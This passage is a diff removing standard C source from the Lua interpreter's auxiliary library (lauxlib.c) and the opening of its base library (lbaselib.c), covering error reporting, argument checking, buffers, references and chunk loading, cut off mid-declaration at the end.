if (level == mark) { /* too many levels? */ - lua_pushliteral(L, "\n\t..."); /* add a '...' */ - level = numlevels - LEVELS2; /* and skip to last ones */ - } - else { - lua_getinfo(L1, "Slnt", &ar); - lua_pushfstring(L, "\n\t%s:", ar.short_src); - if (ar.currentline > 0) - lua_pushfstring(L, "%d:", ar.currentline); - lua_pushliteral(L, " in "); - pushfuncname(L, &ar); - if (ar.istailcall) - lua_pushliteral(L, "\n\t(...tail calls...)"); - lua_concat(L, lua_gettop(L) - top); - } - } - lua_concat(L, lua_gettop(L) - top); -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Error-report functions -** ======================================================= -*/ - -LUALIB_API int luaL_argerror (lua_State *L, int narg, const char *extramsg) { - lua_Debug ar; - if (!lua_getstack(L, 0, &ar)) /* no stack frame? */ - return luaL_error(L, "bad argument #%d (%s)", narg, extramsg); - lua_getinfo(L, "n", &ar); - if (strcmp(ar.namewhat, "method") == 0) { - narg--; /* do not count `self' */ - if (narg == 0) /* error is in the self argument itself? */ - return luaL_error(L, "calling " LUA_QS " on bad self", ar.name); - } - if (ar.name == NULL) - ar.name = (pushglobalfuncname(L, &ar)) ? lua_tostring(L, -1) : "?"; - return luaL_error(L, "bad argument #%d to " LUA_QS " (%s)", - narg, ar.name, extramsg); -} - - -static int typeerror (lua_State *L, int narg, const char *tname) { - const char *msg = lua_pushfstring(L, "%s expected, got %s", - tname, luaL_typename(L, narg)); - return luaL_argerror(L, narg, msg); -} - - -static void tag_error (lua_State *L, int narg, int tag) { - typeerror(L, narg, lua_typename(L, tag)); -} - - -LUALIB_API void luaL_where (lua_State *L, int level) { - lua_Debug ar; - if (lua_getstack(L, level, &ar)) { /* check function at level */ - lua_getinfo(L, "Sl", &ar); /* get info about it */ - if (ar.currentline > 0) { /* is there info? */ - lua_pushfstring(L, "%s:%d: ", ar.short_src, ar.currentline); - return; - } - } - lua_pushliteral(L, ""); /* else, no information available... */ -} - - -LUALIB_API int luaL_error (lua_State *L, const char *fmt, ...) { - va_list argp; - va_start(argp, fmt); - luaL_where(L, 1); - lua_pushvfstring(L, fmt, argp); - va_end(argp); - lua_concat(L, 2); - return lua_error(L); -} - - -LUALIB_API int luaL_fileresult (lua_State *L, int stat, const char *fname) { - int en = errno; /* calls to Lua API may change this value */ - if (stat) { - lua_pushboolean(L, 1); - return 1; - } - else { - lua_pushnil(L); - if (fname) - lua_pushfstring(L, "%s: %s", fname, strerror(en)); - else - lua_pushfstring(L, "%s", strerror(en)); - lua_pushinteger(L, en); - return 3; - } -} - - -#if !defined(inspectstat) /* { */ - -#if defined(LUA_USE_POSIX) - -#include - -/* -** use appropriate macros to interpret 'pclose' return status -*/ -#define inspectstat(stat,what) \ - if (WIFEXITED(stat)) { stat = WEXITSTATUS(stat); } \ - else if (WIFSIGNALED(stat)) { stat = WTERMSIG(stat); what = "signal"; } - -#else - -#define inspectstat(stat,what) /* no op */ - -#endif - -#endif /* } */ - - -LUALIB_API int luaL_execresult (lua_State *L, int stat) { - const char *what = "exit"; /* type of termination */ - if (stat == -1) /* error? */ - return luaL_fileresult(L, 0, NULL); - else { - inspectstat(stat, what); /* interpret result */ - if (*what == 'e' && stat == 0) /* successful termination? */ - lua_pushboolean(L, 1); - else - lua_pushnil(L); - lua_pushstring(L, what); - lua_pushinteger(L, stat); - return 3; /* return true/nil,what,code */ - } -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Userdata's metatable manipulation -** ======================================================= -*/ - -LUALIB_API int luaL_newmetatable (lua_State *L, const char *tname) { - luaL_getmetatable(L, tname); /* try to get metatable */ - if (!lua_isnil(L, -1)) /* name already in use? */ - return 0; /* leave previous value on top, but return 0 */ - lua_pop(L, 1); - lua_newtable(L); /* create metatable */ - lua_pushvalue(L, -1); - lua_setfield(L, LUA_REGISTRYINDEX, tname); /* registry.name = metatable */ - return 1; -} - - -LUALIB_API void luaL_setmetatable (lua_State *L, const char *tname) { - luaL_getmetatable(L, tname); - lua_setmetatable(L, -2); -} - - -LUALIB_API void *luaL_testudata (lua_State *L, int ud, const char *tname) { - void *p = lua_touserdata(L, ud); - if (p != NULL) { /* value is a userdata? */ - if (lua_getmetatable(L, ud)) { /* does it have a metatable? */ - luaL_getmetatable(L, tname); /* get correct metatable */ - if (!lua_rawequal(L, -1, -2)) /* not the same? */ - p = NULL; /* value is a userdata with wrong metatable */ - lua_pop(L, 2); /* remove both metatables */ - return p; - } - } - return NULL; /* value is not a userdata with a metatable */ -} - - -LUALIB_API void *luaL_checkudata (lua_State *L, int ud, const char *tname) { - void *p = luaL_testudata(L, ud, tname); - if (p == NULL) typeerror(L, ud, tname); - return p; -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Argument check functions -** ======================================================= -*/ - -LUALIB_API int luaL_checkoption (lua_State *L, int narg, const char *def, - const char *const lst[]) { - const char *name = (def) ? luaL_optstring(L, narg, def) : - luaL_checkstring(L, narg); - int i; - for (i=0; lst[i]; i++) - if (strcmp(lst[i], name) == 0) - return i; - return luaL_argerror(L, narg, - lua_pushfstring(L, "invalid option " LUA_QS, name)); -} - - -LUALIB_API void luaL_checkstack (lua_State *L, int space, const char *msg) { - /* keep some extra space to run error routines, if needed */ - const int extra = LUA_MINSTACK; - if (!lua_checkstack(L, space + extra)) { - if (msg) - luaL_error(L, "stack overflow (%s)", msg); - else - luaL_error(L, "stack overflow"); - } -} - - -LUALIB_API void luaL_checktype (lua_State *L, int narg, int t) { - if (lua_type(L, narg) != t) - tag_error(L, narg, t); -} - - -LUALIB_API void luaL_checkany (lua_State *L, int narg) { - if (lua_type(L, narg) == LUA_TNONE) - luaL_argerror(L, narg, "value expected"); -} - - -LUALIB_API const char *luaL_checklstring (lua_State *L, int narg, size_t *len) { - const char *s = lua_tolstring(L, narg, len); - if (!s) tag_error(L, narg, LUA_TSTRING); - return s; -} - - -LUALIB_API const char *luaL_optlstring (lua_State *L, int narg, - const char *def, size_t *len) { - if (lua_isnoneornil(L, narg)) { - if (len) - *len = (def ? strlen(def) : 0); - return def; - } - else return luaL_checklstring(L, narg, len); -} - - -LUALIB_API lua_Number luaL_checknumber (lua_State *L, int narg) { - int isnum; - lua_Number d = lua_tonumberx(L, narg, &isnum); - if (!isnum) - tag_error(L, narg, LUA_TNUMBER); - return d; -} - - -LUALIB_API lua_Number luaL_optnumber (lua_State *L, int narg, lua_Number def) { - return luaL_opt(L, luaL_checknumber, narg, def); -} - - -LUALIB_API lua_Integer luaL_checkinteger (lua_State *L, int narg) { - int isnum; - lua_Integer d = lua_tointegerx(L, narg, &isnum); - if (!isnum) - tag_error(L, narg, LUA_TNUMBER); - return d; -} - - -LUALIB_API lua_Unsigned luaL_checkunsigned (lua_State *L, int narg) { - int isnum; - lua_Unsigned d = lua_tounsignedx(L, narg, &isnum); - if (!isnum) - tag_error(L, narg, LUA_TNUMBER); - return d; -} - - -LUALIB_API lua_Integer luaL_optinteger (lua_State *L, int narg, - lua_Integer def) { - return luaL_opt(L, luaL_checkinteger, narg, def); -} - - -LUALIB_API lua_Unsigned luaL_optunsigned (lua_State *L, int narg, - lua_Unsigned def) { - return luaL_opt(L, luaL_checkunsigned, narg, def); -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Generic Buffer manipulation -** ======================================================= -*/ - -/* -** check whether buffer is using a userdata on the stack as a temporary -** buffer -*/ -#define buffonstack(B) ((B)->b != (B)->initb) - - -/* -** returns a pointer to a free area with at least 'sz' bytes -*/ -LUALIB_API char *luaL_prepbuffsize (luaL_Buffer *B, size_t sz) { - lua_State *L = B->L; - if (B->size - B->n < sz) { /* not enough space? */ - char *newbuff; - size_t newsize = B->size * 2; /* double buffer size */ - if (newsize - B->n < sz) /* not bit enough? */ - newsize = B->n + sz; - if (newsize < B->n || newsize - B->n < sz) - luaL_error(L, "buffer too large"); - /* create larger buffer */ - newbuff = (char *)lua_newuserdata(L, newsize * sizeof(char)); - /* move content to new buffer */ - memcpy(newbuff, B->b, B->n * sizeof(char)); - if (buffonstack(B)) - lua_remove(L, -2); /* remove old buffer */ - B->b = newbuff; - B->size = newsize; - } - return &B->b[B->n]; -} - - -LUALIB_API void luaL_addlstring (luaL_Buffer *B, const char *s, size_t l) { - char *b = luaL_prepbuffsize(B, l); - memcpy(b, s, l * sizeof(char)); - luaL_addsize(B, l); -} - - -LUALIB_API void luaL_addstring (luaL_Buffer *B, const char *s) { - luaL_addlstring(B, s, strlen(s)); -} - - -LUALIB_API void luaL_pushresult (luaL_Buffer *B) { - lua_State *L = B->L; - lua_pushlstring(L, B->b, B->n); - if (buffonstack(B)) - lua_remove(L, -2); /* remove old buffer */ -} - - -LUALIB_API void luaL_pushresultsize (luaL_Buffer *B, size_t sz) { - luaL_addsize(B, sz); - luaL_pushresult(B); -} - - -LUALIB_API void luaL_addvalue (luaL_Buffer *B) { - lua_State *L = B->L; - size_t l; - const char *s = lua_tolstring(L, -1, &l); - if (buffonstack(B)) - lua_insert(L, -2); /* put value below buffer */ - luaL_addlstring(B, s, l); - lua_remove(L, (buffonstack(B)) ? -2 : -1); /* remove value */ -} - - -LUALIB_API void luaL_buffinit (lua_State *L, luaL_Buffer *B) { - B->L = L; - B->b = B->initb; - B->n = 0; - B->size = LUAL_BUFFERSIZE; -} - - -LUALIB_API char *luaL_buffinitsize (lua_State *L, luaL_Buffer *B, size_t sz) { - luaL_buffinit(L, B); - return luaL_prepbuffsize(B, sz); -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Reference system -** ======================================================= -*/ - -/* index of free-list header */ -#define freelist 0 - - -LUALIB_API int luaL_ref (lua_State *L, int t) { - int ref; - if (lua_isnil(L, -1)) { - lua_pop(L, 1); /* remove from stack */ - return LUA_REFNIL; /* `nil' has a unique fixed reference */ - } - t = lua_absindex(L, t); - lua_rawgeti(L, t, freelist); /* get first free element */ - ref = (int)lua_tointeger(L, -1); /* ref = t[freelist] */ - lua_pop(L, 1); /* remove it from stack */ - if (ref != 0) { /* any free element? */ - lua_rawgeti(L, t, ref); /* remove it from list */ - lua_rawseti(L, t, freelist); /* (t[freelist] = t[ref]) */ - } - else /* no free elements */ - ref = (int)lua_rawlen(L, t) + 1; /* get a new reference */ - lua_rawseti(L, t, ref); - return ref; -} - - -LUALIB_API void luaL_unref (lua_State *L, int t, int ref) { - if (ref >= 0) { - t = lua_absindex(L, t); - lua_rawgeti(L, t, freelist); - lua_rawseti(L, t, ref); /* t[ref] = t[freelist] */ - lua_pushinteger(L, ref); - lua_rawseti(L, t, freelist); /* t[freelist] = ref */ - } -} - -/* }====================================================== */ - - -/* -** {====================================================== -** Load functions -** ======================================================= -*/ - -typedef struct LoadF { - int n; /* number of pre-read characters */ - FILE *f; /* file being read */ - char buff[LUAL_BUFFERSIZE]; /* area for reading file */ -} LoadF; - - -static const char *getF (lua_State *L, void *ud, size_t *size) { - LoadF *lf = (LoadF *)ud; - (void)L; /* not used */ - if (lf->n > 0) { /* are there pre-read characters to be read? */ - *size = lf->n; /* return them (chars already in buffer) */ - lf->n = 0; /* no more pre-read characters */ - } - else { /* read a block from file */ - /* 'fread' can return > 0 *and* set the EOF flag. If next call to - 'getF' called 'fread', it might still wait for user input. - The next check avoids this problem. */ - if (feof(lf->f)) return NULL; - *size = fread(lf->buff, 1, sizeof(lf->buff), lf->f); /* read block */ - } - return lf->buff; -} - - -static int errfile (lua_State *L, const char *what, int fnameindex) { - const char *serr = strerror(errno); - const char *filename = lua_tostring(L, fnameindex) + 1; - lua_pushfstring(L, "cannot %s %s: %s", what, filename, serr); - lua_remove(L, fnameindex); - return LUA_ERRFILE; -} - - -static int skipBOM (LoadF *lf) { - const char *p = "\xEF\xBB\xBF"; /* Utf8 BOM mark */ - int c; - lf->n = 0; - do { - c = getc(lf->f); - if (c == EOF || c != *(unsigned char *)p++) return c; - lf->buff[lf->n++] = c; /* to be read by the parser */ - } while (*p != '\0'); - lf->n = 0; /* prefix matched; discard it */ - return getc(lf->f); /* return next character */ -} - - -/* -** reads the first character of file 'f' and skips an optional BOM mark -** in its beginning plus its first line if it starts with '#'. Returns -** true if it skipped the first line. In any case, '*cp' has the -** first "valid" character of the file (after the optional BOM and -** a first-line comment). -*/ -static int skipcomment (LoadF *lf, int *cp) { - int c = *cp = skipBOM(lf); - if (c == '#') { /* first line is a comment (Unix exec. file)? */ - do { /* skip first line */ - c = getc(lf->f); - } while (c != EOF && c != '\n') ; - *cp = getc(lf->f); /* skip end-of-line, if present */ - return 1; /* there was a comment */ - } - else return 0; /* no comment */ -} - - -LUALIB_API int luaL_loadfilex (lua_State *L, const char *filename, - const char *mode) { - LoadF lf; - int status, readstatus; - int c; - int fnameindex = lua_gettop(L) + 1; /* index of filename on the stack */ - if (filename == NULL) { - lua_pushliteral(L, "=stdin"); - lf.f = stdin; - } - else { - lua_pushfstring(L, "@%s", filename); - lf.f = fopen(filename, "r"); - if (lf.f == NULL) return errfile(L, "open", fnameindex); - } - if (skipcomment(&lf, &c)) /* read initial portion */ - lf.buff[lf.n++] = '\n'; /* add line to correct line numbers */ - if (c == LUA_SIGNATURE[0] && filename) { /* binary file? */ - lf.f = freopen(filename, "rb", lf.f); /* reopen in binary mode */ - if (lf.f == NULL) return errfile(L, "reopen", fnameindex); - skipcomment(&lf, &c); /* re-read initial portion */ - } - if (c != EOF) - lf.buff[lf.n++] = c; /* 'c' is the first character of the stream */ - status = lua_load(L, getF, &lf, lua_tostring(L, -1), mode); - readstatus = ferror(lf.f); - if (filename) fclose(lf.f); /* close file (even in case of errors) */ - if (readstatus) { - lua_settop(L, fnameindex); /* ignore results from `lua_load' */ - return errfile(L, "read", fnameindex); - } - lua_remove(L, fnameindex); - return status; -} - - -typedef struct LoadS { - const char *s; - size_t size; -} LoadS; - - -static const char *getS (lua_State *L, void *ud, size_t *size) { - LoadS *ls = (LoadS *)ud; - (void)L; /* not used */ - if (ls->size == 0) return NULL; - *size = ls->size; - ls->size = 0; - return ls->s; -} - - -LUALIB_API int luaL_loadbufferx (lua_State *L, const char *buff, size_t size, - const char *name, const char *mode) { - LoadS ls; - ls.s = buff; - ls.size = size; - return lua_load(L, getS, &ls, name, mode); -} - - -LUALIB_API int luaL_loadstring (lua_State *L, const char *s) { - return luaL_loadbuffer(L, s, strlen(s), s); -} - -/* }====================================================== */ - - - -LUALIB_API int luaL_getmetafield (lua_State *L, int obj, const char *event) { - if (!lua_getmetatable(L, obj)) /* no metatable? */ - return 0; - lua_pushstring(L, event); - lua_rawget(L, -2); - if (lua_isnil(L, -1)) { - lua_pop(L, 2); /* remove metatable and metafield */ - return 0; - } - else { - lua_remove(L, -2); /* remove only metatable */ - return 1; - } -} - - -LUALIB_API int luaL_callmeta (lua_State *L, int obj, const char *event) { - obj = lua_absindex(L, obj); - if (!luaL_getmetafield(L, obj, event)) /* no metafield? */ - return 0; - lua_pushvalue(L, obj); - lua_call(L, 1, 1); - return 1; -} - - -LUALIB_API int luaL_len (lua_State *L, int idx) { - int l; - int isnum; - lua_len(L, idx); - l = (int)lua_tointegerx(L, -1, &isnum); - if (!isnum) - luaL_error(L, "object length is not a number"); - lua_pop(L, 1); /* remove object */ - return l; -} - - -LUALIB_API const char *luaL_tolstring (lua_State *L, int idx, size_t *len) { - if (!luaL_callmeta(L, idx, "__tostring")) { /* no metafield? */ - switch (lua_type(L, idx)) { - case LUA_TNUMBER: - case LUA_TSTRING: - lua_pushvalue(L, idx); - break; - case LUA_TBOOLEAN: - lua_pushstring(L, (lua_toboolean(L, idx) ? "true" : "false")); - break; - case LUA_TNIL: - lua_pushliteral(L, "nil"); - break; - default: - lua_pushfstring(L, "%s: %p", luaL_typename(L, idx), - lua_topointer(L, idx)); - break; - } - } - return lua_tolstring(L, -1, len); -} - - -/* -** {====================================================== -** Compatibility with 5.1 module functions -** ======================================================= -*/ -#if defined(LUA_COMPAT_MODULE) - -static const char *luaL_findtable (lua_State *L, int idx, - const char *fname, int szhint) { - const char *e; - if (idx) lua_pushvalue(L, idx); - do { - e = strchr(fname, '.'); - if (e == NULL) e = fname + strlen(fname); - lua_pushlstring(L, fname, e - fname); - lua_rawget(L, -2); - if (lua_isnil(L, -1)) { /* no such field? */ - lua_pop(L, 1); /* remove this nil */ - lua_createtable(L, 0, (*e == '.' ? 1 : szhint)); /* new table for field */ - lua_pushlstring(L, fname, e - fname); - lua_pushvalue(L, -2); - lua_settable(L, -4); /* set new table into field */ - } - else if (!lua_istable(L, -1)) { /* field has a non-table value? */ - lua_pop(L, 2); /* remove table and value */ - return fname; /* return problematic part of the name */ - } - lua_remove(L, -2); /* remove previous table */ - fname = e + 1; - } while (*e == '.'); - return NULL; -} - - -/* -** Count number of elements in a luaL_Reg list. -*/ -static int libsize (const luaL_Reg *l) { - int size = 0; - for (; l && l->name; l++) size++; - return size; -} - - -/* -** Find or create a module table with a given name. The function -** first looks at the _LOADED table and, if that fails, try a -** global variable with that name. In any case, leaves on the stack -** the module table. -*/ -LUALIB_API void luaL_pushmodule (lua_State *L, const char *modname, - int sizehint) { - luaL_findtable(L, LUA_REGISTRYINDEX, "_LOADED", 1); /* get _LOADED table */ - lua_getfield(L, -1, modname); /* get _LOADED[modname] */ - if (!lua_istable(L, -1)) { /* not found? */ - lua_pop(L, 1); /* remove previous result */ - /* try global variable (and create one if it does not exist) */ - lua_pushglobaltable(L); - if (luaL_findtable(L, 0, modname, sizehint) != NULL) - luaL_error(L, "name conflict for module " LUA_QS, modname); - lua_pushvalue(L, -1); - lua_setfield(L, -3, modname); /* _LOADED[modname] = new table */ - } - lua_remove(L, -2); /* remove _LOADED table */ -} - - -LUALIB_API void luaL_openlib (lua_State *L, const char *libname, - const luaL_Reg *l, int nup) { - luaL_checkversion(L); - if (libname) { - luaL_pushmodule(L, libname, libsize(l)); /* get/create library table */ - lua_insert(L, -(nup + 1)); /* move library table to below upvalues */ - } - if (l) - luaL_setfuncs(L, l, nup); - else - lua_pop(L, nup); /* remove upvalues */ -} - -#endif -/* }====================================================== */ - -/* -** set functions from list 'l' into table at top - 'nup'; each -** function gets the 'nup' elements at the top as upvalues. -** Returns with only the table at the stack. -*/ -LUALIB_API void luaL_setfuncs (lua_State *L, const luaL_Reg *l, int nup) { - luaL_checkversion(L); - luaL_checkstack(L, nup, "too many upvalues"); - for (; l->name != NULL; l++) { /* fill the table with given functions */ - int i; - for (i = 0; i < nup; i++) /* copy upvalues to the top */ - lua_pushvalue(L, -nup); - lua_pushcclosure(L, l->func, nup); /* closure with those upvalues */ - lua_setfield(L, -(nup + 2), l->name); - } - lua_pop(L, nup); /* remove upvalues */ -} - - -/* -** ensure that stack[idx][fname] has a table and push that table -** into the stack -*/ -LUALIB_API int luaL_getsubtable (lua_State *L, int idx, const char *fname) { - lua_getfield(L, idx, fname); - if (lua_istable(L, -1)) return 1; /* table already there */ - else { - lua_pop(L, 1); /* remove previous result */ - idx = lua_absindex(L, idx); - lua_newtable(L); - lua_pushvalue(L, -1); /* copy to be left at top */ - lua_setfield(L, idx, fname); /* assign new table to field */ - return 0; /* false, because did not find table there */ - } -} - - -/* -** stripped-down 'require'. Calls 'openf' to open a module, -** registers the result in 'package.loaded' table and, if 'glb' -** is true, also registers the result in the global table. -** Leaves resulting module on the top. -*/ -LUALIB_API void luaL_requiref (lua_State *L, const char *modname, - lua_CFunction openf, int glb) { - lua_pushcfunction(L, openf); - lua_pushstring(L, modname); /* argument to open function */ - lua_call(L, 1, 1); /* open module */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, "_LOADED"); - lua_pushvalue(L, -2); /* make copy of module (call result) */ - lua_setfield(L, -2, modname); /* _LOADED[modname] = module */ - lua_pop(L, 1); /* remove _LOADED table */ - if (glb) { - lua_pushvalue(L, -1); /* copy of 'mod' */ - lua_setglobal(L, modname); /* _G[modname] = module */ - } -} - - -LUALIB_API const char *luaL_gsub (lua_State *L, const char *s, const char *p, - const char *r) { - const char *wild; - size_t l = strlen(p); - luaL_Buffer b; - luaL_buffinit(L, &b); - while ((wild = strstr(s, p)) != NULL) { - luaL_addlstring(&b, s, wild - s); /* push prefix */ - luaL_addstring(&b, r); /* push replacement in place of pattern */ - s = wild + l; /* continue after `p' */ - } - luaL_addstring(&b, s); /* push last suffix */ - luaL_pushresult(&b); - return lua_tostring(L, -1); -} - - -static void *l_alloc (void *ud, void *ptr, size_t osize, size_t nsize) { - (void)ud; (void)osize; /* not used */ - if (nsize == 0) { - free(ptr); - return NULL; - } - else - return realloc(ptr, nsize); -} - - -static int panic (lua_State *L) { - luai_writestringerror("PANIC: unprotected error in call to Lua API (%s)\n", - lua_tostring(L, -1)); - return 0; /* return to Lua to abort */ -} - - -LUALIB_API lua_State *luaL_newstate (void) { - lua_State *L = lua_newstate(l_alloc, NULL); - if (L) lua_atpanic(L, &panic); - return L; -} - - -LUALIB_API void luaL_checkversion_ (lua_State *L, lua_Number ver) { - const lua_Number *v = lua_version(L); - if (v != lua_version(NULL)) - luaL_error(L, "multiple Lua VMs detected"); - else if (*v != ver) - luaL_error(L, "version mismatch: app. needs %f, Lua core provides %f", - ver, *v); - /* check conversions number -> integer types */ - lua_pushnumber(L, -(lua_Number)0x1234); - if (lua_tointeger(L, -1) != -0x1234 || - lua_tounsigned(L, -1) != (lua_Unsigned)-0x1234) - luaL_error(L, "bad conversion number->int;" - " must recompile Lua with proper settings"); - lua_pop(L, 1); -} - -/* -** $Id: lbaselib.c,v 1.274 2012/04/27 14:13:19 roberto Exp $ -** Basic library -** See Copyright Notice in lua.h -*/ - - - -#include -#include -#include -#include - -#define lbaselib_c -#define LUA_LIB - - - - -static int luaB_print (lua_State *L) { - int n = lua_gettop(L); /* number of arguments */ - int i; - lua_getglobal(L, "tostring"); - for (i=1; i<=n; i++) { - const char *s; - size_t l; - lua_pushvalue(L, -1); /* function to be called */ - lua_pushvalue(L, i); /* value to print */ - lua_call(L, 1, 1); - s = lua_tolstring(L, -1, &l); /* get result */ - if (s == NULL) - return luaL_error(L, - LUA_QL("tostring") " must return a string to " LUA_QL("print")); - if (i>1) luai_writestring("\t", 1); - luai_writestring(s, l); - lua_pop(L, 1); /* pop result */ - } - luai_writeline(); - return 0; -} - - -#define SPACECHARS " \f\n\r\t\v" - -static int luaB_tonumber (lua_State *L) { - if (lua_isnoneornil(L, 2)) { /* standard conversion */ - int isnum; - lua_Number n = lua_tonumberx(L, 1, &isnum); - if (isnum) { - lua_pushnumber(L, n); - return 1; - } /* else not a number; must be something */ - luaL_checkany(L, 1); - } - else { - size_t l; - const char *s = luaL_checklstring(L, 1, &l); - const char *e = s + l; /* end point for 's' */ - int base = luaL_checkint(L, 2); - int neg = 0; - luaL_argcheck(L, 2 <= base && base <= 36, 2, "base out of range"); - s += strspn(s, SPACECHARS); /* skip initial spaces */ - if (*s == '-') { s++; neg = 1; } /* handle signal */ - else if (*s == '+') s++; - if (isalnum((unsigned char)*s)) { - lua_Number n = 0; - do { - int digit = (isdigit((unsigned char)*s)) ? *s - '0' - : toupper((unsigned char)*s) - 'A' + 10; - if (digit >= base) break; /* invalid numeral; force a fail */ - n = n * (lua_Number)base + (lua_Number)digit; - s++; - } while (isalnum((unsigned char)*s)); - s += strspn(s, SPACECHARS); /* skip trailing spaces */ - if (s == e) { /* no invalid trailing characters? */ - lua_pushnumber(L, (neg) ? -n : n); - return 1; - } /* else not a number */ - } /* else not a number */ - } - lua_pushnil(L); /* not a number */ - return 1; -} - - -static int luaB_error (lua_State *L) { - int level = luaL_optint(L, 2, 1); - lua_settop(L, 1); - if (lua_isstring(L, 1) && level > 0) { /* add extra information? */ - luaL_where(L, level); - lua_pushvalue(L, 1); - lua_concat(L, 2); - } - return lua_error(L); -} - - -static int luaB_getmetatable (lua_State *L) { - luaL_checkany(L, 1); - if (!lua_getmetatable(L, 1)) { - lua_pushnil(L); - return 1; /* no metatable */ - } - luaL_getmetafield(L, 1, "__metatable"); - return 1; /* returns either __metatable field (if present) or metatable */ -} - - -static int luaB_setmetatable (lua_State *L) { - int t = lua_type(L, 2); - luaL_checktype(L, 1, LUA_TTABLE); - luaL_argcheck(L, t == LUA_TNIL || t == LUA_TTABLE, 2, - "nil or table expected"); - if (luaL_getmetafield(L, 1, "__metatable")) - return luaL_error(L, "cannot change a protected metatable"); - lua_settop(L, 2); - lua_setmetatable(L, 1); - return 1; -} - - -static int luaB_rawequal (lua_State *L) { - luaL_checkany(L, 1); - luaL_checkany(L, 2); - lua_pushboolean(L, lua_rawequal(L, 1, 2)); - return 1; -} - - -static int luaB_rawlen (lua_State *L) { - int t = lua_type(L, 1); - luaL_argcheck(L, t == LUA_TTABLE || t == LUA_TSTRING, 1, - "table or string expected"); - lua_pushinteger(L, lua_rawlen(L, 1)); - return 1; -} - - -static int luaB_rawget (lua_State *L) { - luaL_checktype(L, 1, LUA_TTABLE); - luaL_checkany(L, 2); - lua_settop(L, 2); - lua_rawget(L, 1); - return 1; -} - -static int luaB_rawset (lua_State *L) { - luaL_checktype(L, 1, LUA_TTABLE); - luaL_checkany(L, 2); - luaL_checkany(L, 3); - lua_settop(L, 3); - lua_rawset(L, 1); - return 1; -} - - -static int luaB_collectgarbage (lua_State *L) { - static const char *const opts[] = {"stop", "restart", "collect", - "count", "step", "setpause", "setstepmul", - "setmajorinc", "isrunning", "generational", "incremental", NULL}; - static const int optsnum[] = {LUA_GCSTOP, LUA_GCRESTART, LUA_GCCOLLECT, - LUA_GCCOUNT, LUA_GCSTEP, LUA_GCSETPAUSE, LUA_GCSETSTEPMUL, - LUA_GCSETMAJORINC, LUA_GCISRUNNING, LUA_GCGEN, LUA_GCINC}; - int o = optsnum[luaL_checkoption(L, 1, "collect", opts)]; - int ex = luaL_optint(L, 2, 0); - int res = lua_gc(L, o, ex); - switch (o) { - case LUA_GCCOUNT: { - int b = lua_gc(L, LUA_GCCOUNTB, 0); - lua_pushnumber(L, res + ((lua_Number)b/1024)); - lua_pushinteger(L, b); - return 2; - } - case LUA_GCSTEP: case LUA_GCISRUNNING: { - lua_pushboolean(L, res); - return 1; - } - default: { - lua_pushinteger(L, res); - return 1; - } - } -} - - -static int luaB_type (lua_State *L) { - luaL_checkany(L, 1); - lua_pushstring(L, luaL_typename(L, 1)); - return 1; -} - - -static int pairsmeta (lua_State *L, const char *method, int iszero, - lua_CFunction iter) { - if (!luaL_getmetafield(L, 1, method)) { /* no metamethod? */ - luaL_checktype(L, 1, LUA_TTABLE); /* argument must be a table */ - lua_pushcfunction(L, iter); /* will return generator, */ - lua_pushvalue(L, 1); /* state, */ - if (iszero) lua_pushinteger(L, 0); /* and initial value */ - else lua_pushnil(L); - } - else { - lua_pushvalue(L, 1); /* argument 'self' to metamethod */ - lua_call(L, 1, 3); /* get 3 values from metamethod */ - } - return 3; -} - - -static int luaB_next (lua_State *L) { - luaL_checktype(L, 1, LUA_TTABLE); - lua_settop(L, 2); /* create a 2nd argument if there isn't one */ - if (lua_next(L, 1)) - return 2; - else { - lua_pushnil(L); - return 1; - } -} - - -static int luaB_pairs (lua_State *L) { - return pairsmeta(L, "__pairs", 0, luaB_next); -} - - -static int ipairsaux (lua_State *L) { - int i = luaL_checkint(L, 2); - luaL_checktype(L, 1, LUA_TTABLE); - i++; /* next value */ - lua_pushinteger(L, i); - lua_rawgeti(L, 1, i); - return (lua_isnil(L, -1)) ? 1 : 2; -} - - -static int luaB_ipairs (lua_State *L) { - return pairsmeta(L, "__ipairs", 1, ipairsaux); -} - - -static int load_aux (lua_State *L, int status) { - if (status == LUA_OK) - return 1; - else { - lua_pushnil(L); - lua_insert(L, -2); /* put before error message */ - return 2; /* return nil plus error message */ - } -} - - -static int luaB_loadfile (lua_State *L) { - const char *fname = luaL_optstring(L, 1, NULL); - const char *mode = luaL_optstring(L, 2, NULL); - int env = !lua_isnone(L, 3); /* 'env' parameter? */ - int status = luaL_loadfilex(L, fname, mode); - if (status == LUA_OK && env) { /* 'env' parameter? */ - lua_pushvalue(L, 3); - lua_setupvalue(L, -2, 1); /* set it as 1st upvalue of loaded chunk */ - } - return load_aux(L, status); -} - - -/* -** {====================================================== -** Generic Read function -** ======================================================= -*/ - - -/* -** reserved slot, above all arguments, to hold a copy of the returned -** string to avoid it being collected while parsed. 'load' has four -** optional arguments (chunk, source name, mode, and environment). -*/ -#define RESERVEDSLOT 5 - - -/* -** Reader for generic `load' function: `lua_load' uses the -** stack for internal stuff, so the reader cannot change the -** stack top. Instead, it keeps its resulting string in a -** reserved slot inside the stack. -*/ -static const char *generic_reader (lua_State *L, void *ud, size_t *size) { - (void)(ud); /* not used */ - luaL_checkstack(L, 2, "too many nested functions"); - lua_pushvalue(L, 1); /* get function */ - lua_call(L, 0, 1); /* call it */ - if (lua_isnil(L, -1)) { - lua_pop(L, 1); /* pop result */ - *size = 0; - return NULL; - } - else if (!lua_isstring(L, -1)) - luaL_error(L, "reader function must return a string"); - lua_replace(L, RESERVEDSLOT); /* save string in reserved slot */ - return lua_tolstring(L, RESERVEDSLOT, size); -} - - -static int luaB_load (lua_State *L) { - int status; - size_t l; - int top = lua_gettop(L); - const char *s = lua_tolstring(L, 1, &l); - const char *mode = luaL_optstring(L, 3, "bt"); - if (s != NULL) { /* loading a string? */ - const char *chunkname = luaL_optstring(L, 2, s); - status = luaL_loadbufferx(L, s, l, chunkname, mode); - } - else { /* loading from a reader function */ - const char *chunkname = luaL_optstring(L, 2, "=(load)"); - luaL_checktype(L, 1, LUA_TFUNCTION); - lua_settop(L, RESERVEDSLOT); /* create reserved slot */ - status = lua_load(L, generic_reader, NULL, chunkname, mode); - } - if (status == LUA_OK && top >= 4) { /* is there an 'env' argument */ - lua_pushvalue(L, 4); /* environment for loaded function */ - lua_setupvalue(L, -2, 1); /* set it as 1st upvalue */ - } - return load_aux(L, status); -} - -/* }====================================================== */ - - -static int 